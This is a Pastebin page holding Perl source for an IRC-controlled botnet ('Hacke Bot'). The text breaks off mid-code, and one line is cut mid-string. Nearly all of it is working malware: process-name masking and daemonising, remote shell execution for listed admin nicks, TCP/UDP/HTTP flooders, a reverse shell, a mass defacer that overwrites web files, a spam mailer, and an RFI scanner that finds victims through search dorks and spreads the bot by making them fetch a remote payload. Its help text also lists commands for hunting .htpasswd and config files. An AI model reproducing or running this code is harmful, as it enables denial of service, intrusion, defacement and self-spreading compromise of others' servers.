Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % P1tbull Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- #
- # ooo
- # (o o)
- # ooO--(_)--Ooo-
- #
- # Hacke Bot Version 5.0 Private FiNAL
- #
- #You can use the following commands :
- #!bot @portscan <ip>
- #!bot @nmap <ip> <beginport> <endport>
- #!bot @back <ip><port>
- #!bot @udpflood <ip> <packet size> <time>
- #!bot @tcpflood <ip> <port> <packet size> <time>
- #!bot @httpflood <site> <time>
- #!bot @linuxhelp
- #!bot @rfi <vuln> <dork>
- #!bot @system
- #!bot @milw0rm
- #!bot @logcleaner
- #!bot @deface
- #!bot @spread <rfi = for example www.mywebsite.com/index.php?= >
- #!bot @sendmail <subject> <sender> <recipient> <message>
- #!bot @join <#channel>
- #!bot @part <#channel>
- #!bot @help
- #!bot cd tmp for example
- #!bot !eval <code= for example :@nickname>
- #
- # Greets too :
- #
- # % apai-P1tbull-Piticu %
- #
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- use HTTP::Request;
- use LWP::UserAgent;
- ######################
- my $processo = '/usr/sbin/httpd';
- ######################
- #####################################################################
- #/!\ .:CONFIGURATION:. /!\#
- #####################################################################
- ############################################
- my $linas_max='10';
- my $sleep='3';
- #-----------------
- #Sleep Time and Max. Lines for Anti Flood #
- ############################################
- my $cmd=" <-- 0,12Deep inside 7Ur 4Heart 1!";
- my $id="ftp://****/.xpl/id.txt";
- my $spread="ftp://*****/.xpl/hack/id.txt";
- #-----------------
- #Spreader, ID=Response, CMD = Print CMD #
- ############################################
- my @adms=("P1tbull","boy","Drago");
- #----------------- #
- #Admins of the Bot set your nickname here #
- ############################################
- my @canais=("#****");
- #----------------- #
- #Put your channel here #
- ############################################
- my @nickname = ("asc|0-");
- my $nick = $nickname[rand scalar @nickname];
- my $ircname ='asc-rf1';
- chop (my $realname = 'we r0x');
- #----------------- #
- #Identity #
- ############################################
- $servidor='SERVER' unless $servidor;
- my $porta='6667';
- #----------------- #
- #IRCServer and port #
- ############################################
- #####################################################################
- #/!\ .:CONFIGURATION:. /!\#
- #####################################################################
- ######################
- #End of Configuration#
- # #
- ######################
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- use IO::Socket;
- use Socket;
- use IO::Select;
- chdir("/");
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- #Connect
- $servidor="$ARGV[0]" if $ARGV[0];
- $0="$processo"."\0"x16;;
- my $pid=fork;
- exit if $pid;
- die "Masalah fork: $!" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_cliente = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub conectar {
- my $meunick = $_[0];
- my $servidor_con = $_[1];
- my $porta_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
- PeerPort=>$porta_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_cliente->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
- $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
- nick("$meunick");
- sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
- sleep 1;
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_cliente->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $msg, 4096);
- if ($nread == 0) {
- $sel_cliente->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $msg);
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line=$line_temp.$line if ($line_temp);
- $line_temp='';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- parse("$line");
- } else {
- if ($#lines == 0) {
- parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
- if ($args =~ /^\001VERSION\001$/) {
- notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
- }
- if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
- if ($onde eq "$meunick"){
- shell("$pn", "$args");
- }
- #End of Connect
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # PREFIX #
- # #
- ######################
- # You can change the prefix if you want but the commands will be different
- # The standard prefix is !bot if you change it into !bitch for example
- # every command will be like !bitch @udpflood, !bitch @rfi.
- # So its recommended not to change this;)
- ######################
- if ($args =~ /^(\Q$meunick\E|\!asc)\s+(.*)/ ) {
- my $natrix = $1;
- my $arg = $2;
- if ($arg =~ /^\!(.*)/) {
- ircase("$pn","$onde","$1") unless ($natrix eq "!asc" and $arg =~ /^\!nick/);
- } elsif ($arg =~ /^\@(.*)/) {
- $ondep = $onde;
- $ondep = $pn if $onde eq $meunick;
- bfunc("$ondep","$1");
- } else {
- shell("$onde", "$arg");
- }
- }
- }
- }
- ######################
- # End of PREFIX #
- # #
- ######################
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($meunick)) {
- $meunick=$4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- }
- } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$meunick".int rand(999999));
- } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $meunick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- foreach my $canal (@canais) {
- sendraw("JOIN $canal ddosit");
- }
- }
- }
- sub bfunc {
- my $printl = $_[0];
- my $funcarg = $_[1];
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- ######################
- # Help #
- # #
- ######################
- if ($funcarg =~ /^help/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 Select the function you want help for");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 4,1@9,1ddos");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1rfiscan");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1backconnect");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1shell");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1portscanner");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 Or if you want too know all the commands type:");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1commands");
- }
- if ($funcarg =~ /^ddos/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1There are DDossers in this bot");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 UDPFlood, HTTPFlood and TCPFlood");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1!bot 1,4@9,1udpflood <ip> <packet size> <time>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@9,1tcpflood <ip> <port> <packet size> <time>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@9,1httpflood <site> <time>");
- }
- if ($funcarg =~ /^rfiscan/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 This bot also contains a RFI Scanner.");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 Commands :");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1rfi <vuln> <dork>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1You can find strings here : http://www.xshqiptaretx.org/strings.txt ");
- }
- if ($funcarg =~ /^backconnect/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 You use backconnect like this :");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1back <ip><port>");
- }
- if ($funcarg =~ /^shell/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 This bot has a integrated shell");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 You can use it in private but also public in the channel");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 In public channel just use : 4,1!bot cd tmp9,1 for example");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 For help with the linux commands type :4,1!bot 1,4@4,1linuxhelp");
- }
- if ($funcarg =~ /^portscanner/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 There is a normal portscan and a Nmap:");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1portscan <ip>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1nmap <ip> <beginport> <endport>");
- }
- if ($funcarg =~ /^commands/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 4,1 You can use the following commands :");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1portscan <ip>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1nmap <ip> <beginport> <endport>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1back <ip><port>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 4,1cd tmp 9,1 for example");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1udpflood <ip> <packet size> <time>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1tcpflood <ip> <port> <packet size> <time>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1httpflood <site> <time>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1linuxhelp");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1spread <rfi>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1rfi <vuln> <dork>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1system");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1logcleaner");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1deface");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1sendmail <subject> <sender> <recipient> <message>");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1milw0rm");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1!bot 1,4@4,1join #channel");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1part #channel");
- }
- if ($funcarg =~ /^linuxhelp/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Dir where you are : pwd");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Start a Perl file : perl file.pl");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Go back from dir : cd ..");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Force to Remove a file/dir : rm -rf file/dir;ls -la");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Show all files/dir with permissions : ls -lia");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find config.inc.php files : find / -type f -name config.inc.php");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find all writable folders and files : find / -perm -2 -ls");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find all .htpasswd files : find / -type f -name .htpasswd");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1Find all service.pwd files : find / -type f -name service.pwd");
- }
- ######################
- # End of Help #
- # #
- ######################
- if ($funcarg =~ /^spread\s+(.*)/) {
- $vuln = $1;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Spread9,1] Spreading bot on :4,1 $vuln");
- my $shellurl="http://".$vuln.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$shellurl);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Spread9,1] Bot is Spreaded on :4,1 $vuln");
- }
- ######################
- # Mass Deface #
- # #
- ######################
- #########################
- # Mass Defacer v2.0 #
- # Coded By illuz1oN #
- # Modded by Hacke #
- #########################
- if ($funcarg =~ /^deface/) {
- $def = ' P1tbull Pwned your BoX ';
- {
- print qq^
- ^;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Mass Deface Started !");
- sleep(1);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[4@9,1Deface9,1] Defacing :4,1 .PHP");
- sleep(1);
- my @php = glob("*.php"); #Files
- foreach my $deface(@php){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .HTML");
- sleep(1);
- my @html = glob("*.html"); #Files
- foreach my $deface(@html){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .ASP");
- sleep(1);
- my @asp = glob("*.asp"); #Files
- foreach my $deface(@asp){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .ASPX");
- sleep(1);
- my @aspx = glob("*.aspx"); #Files
- foreach my $deface(@aspx){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .HTM");
- sleep(1);
- my @htm = glob("*.htm"); #Files
- foreach my $deface(@htm){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .JS");
- sleep(1);
- my @js = glob("*.js"); #Files
- foreach my $deface(@js){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .AC");
- sleep(1);
- my @ac = glob("*.ac"); #Files
- foreach my $deface(@ac){
- open(DEFACE, '>', $deface);
- print DEFACE $def;
- close(DEFACE)
- }
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Mass Deface is Done !");
- sleep(2);
- exit;
- }}
- ######################
- #End of Mass Deface #
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # Commands #
- # #
- ######################
- if ($funcarg =~ /^system/) {
- $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Info BOT : 9.1 Servidor :Hiden : 6667");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Uname -a : 4,1 $uname");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Uptime : 4,1 $uptime");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Own Prosses : 4,1 $processo");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1ID : 4,1$id");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[4@9,1SystemInfo9,1] 4,1Own Dir : 4,1 $ownd");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1OS : 4,1 $distro");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1 4,1Owner : 4,8 P1tbull");
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Channel : 4,8 #private");
- }
- if ($funcarg =~ /^milw0rm/) {
- my @ltt=();
- my @bug=();
- my $x;
- my $page="";
- my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
- print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/
- ######################
- # MAILER #
- # #
- ######################
- # For mailing use :
- # !bot @sendmail <subject> <sender> <recipient> <message>
- #
- ######################
- if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :[@Mailer] Sending Mail to :$3");
- $subject = $1;
- $sender = $2;
- $recipient = $3;
- @corpo = $4;
- $mailtype = "content-type: text/html";
- $sendmail = '/usr/sbin/sendmail';
- open (SENDMAIL, "| $sendmail -t");
- print SENDMAIL "$mailtype\n";
- print SENDMAIL "Subject: $subject\n";
- print SENDMAIL "From: $sender\n";
- print SENDMAIL "To: $recipient\n\n";
- print SENDMAIL "@corpo\n\n";
- close (SENDMAIL);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Mailer4,1] Mail Sended To :4,1 $recipient");
- }
- ######################
- # End of MAILER #
- # #
- ######################
- ######################
- # Join And Part #
- # #
- ######################
- if ($funcarg =~ /^join (.*)/) {
- sendraw($IRC_cur_socket, "JOIN ".$1);
- }
- if ($funcarg =~ /^part (.*)/) {
- sendraw($IRC_cur_socket, "PART ".$1);
- }
- ######################
- #End of Join And Part#
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # TCPFlood #
- # #
- ######################
- if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1TCP-DDOS4,1] Attacking 4,1 ".$1.":".$2." 9,1for 9,1 ".$3." 4,1seconds.");
- my $itime = time;
- my ($cur_time);
- $cur_time = time - $itime;
- while ($3>$cur_time){
- $cur_time = time - $itime;
- &tcpflooder("$1","$2","$3");
- }
- sendraw($IRC_cur_socket,"PRIVMSG $printl :9,1[1,4@9,1TCP-DDOS4,1] Attack done 4,1 ".$1.":".$2.".");
- }
- ######################
- # End of TCPFlood #
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # Back Connect #
- # #
- ######################
- if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
- my $host = "$1";
- my $porta = "$2";
- my $proto = getprotobyname('tcp');
- my $iaddr = inet_aton($host);
- my $paddr = sockaddr_in($porta, $iaddr);
- my $shell = "/bin/sh -i";
- if ($^O eq "MSWin32") {
- $shell = "cmd.exe";
- }
- socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
- connect(SOCKET, $paddr) or die "connect: $!";
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- system("$shell");
- close(STDIN);
- close(STDOUT);
- close(STDERR);
- if ($estatisticas)
- {
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1BackConnect4,1] Connecting to 9,1 $host:$porta");
- }
- }
- ######################
- #End of Back Connect#
- # #
- ######################
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- # % Hacke Pwned your BoX %
- # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
- ######################
- # EXTREME SCANNER #
- # #
- ######################
- ######################################################################
- #################### GOOGLE
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- ### Start Message
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@4,1Scan9,1] The [E]xtreme RFiScan is started for 4,1$dork");
- ### End of Start Message
- # Starting The Search Engine
- my @google=&googlet($dork);
- #
- push(my @tot, @google);
- #
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11G13o11o13g11l13e9,1 Total:4 ".scalar(@tot)." 9,1Cleaned:4 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11G13o11o13g11l13e9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9$print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :[@Vuln] (SafeMode:ON) 1,4(Site:$print) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### AllTheWeb
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @alltheweb=&allthewebt($dork);
- my @allweb=&standard($dork);
- #
- push(my @tot, @alltheweb, @allweb);
- #
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 12A4ll8T12he4W8eb9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 12A4ll8T12he4W8eb9,1 finished for4,1 $dork");
- }
- ### Print CMD and TEST CMD###
- my $test="http://".$sito.$bug.$id."?";
- my $print="http://".$sito.$bug.$cmd."?";
- ### End of Print CMD and TEST CMD###
- my $req=HTTP::Request->new(GET=>$test);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(5);
- my $response=$ua->request($req);
- if ($response->is_success) {
- my $re=$response->content;
- if($re =~ /Mic22/ && $re =~ /uid=/){
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
- sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- elsif($re =~ /Mic22/)
- {
- my $hs=geths($print); $hosts{$hs}++;
- if($hosts{$hs}=="1"){
- sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
- my $test2="http://".$sito.$bug.$spread."?";
- my $reqz=HTTP::Request->new(GET=>$test2);
- my $ua=LWP::UserAgent->new();
- my $response=$ua->request($reqz);
- }}
- }}}
- exit;
- }}
- ######################################################################
- #################### AOL
- ######################################################################
- if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) {
- exit;
- } else {
- my $bug=$1;
- my $dork=$2;
- my $contatore=0;
- my %hosts;
- # Starting The Search Engine
- my @aollist=&aol($dork);
- my @aollista=&aola($dork);
- my @aollistb=&aolb($dork);
- my @aollistc=&aolc($dork);
- push(my @aolbyp,@aollist, @aollista, @aollistb, @aollistc );
- #
- push(my @tot, @aolbyp);
- my @puliti=&unici(@tot);
- sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11A13O11L9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
- my $uni=scalar(@puliti);
- foreach my $sito (@puliti)
- {
- $contatore++;
- if ($contatore %100==0){
- }
- if ($contatore==$uni-1){
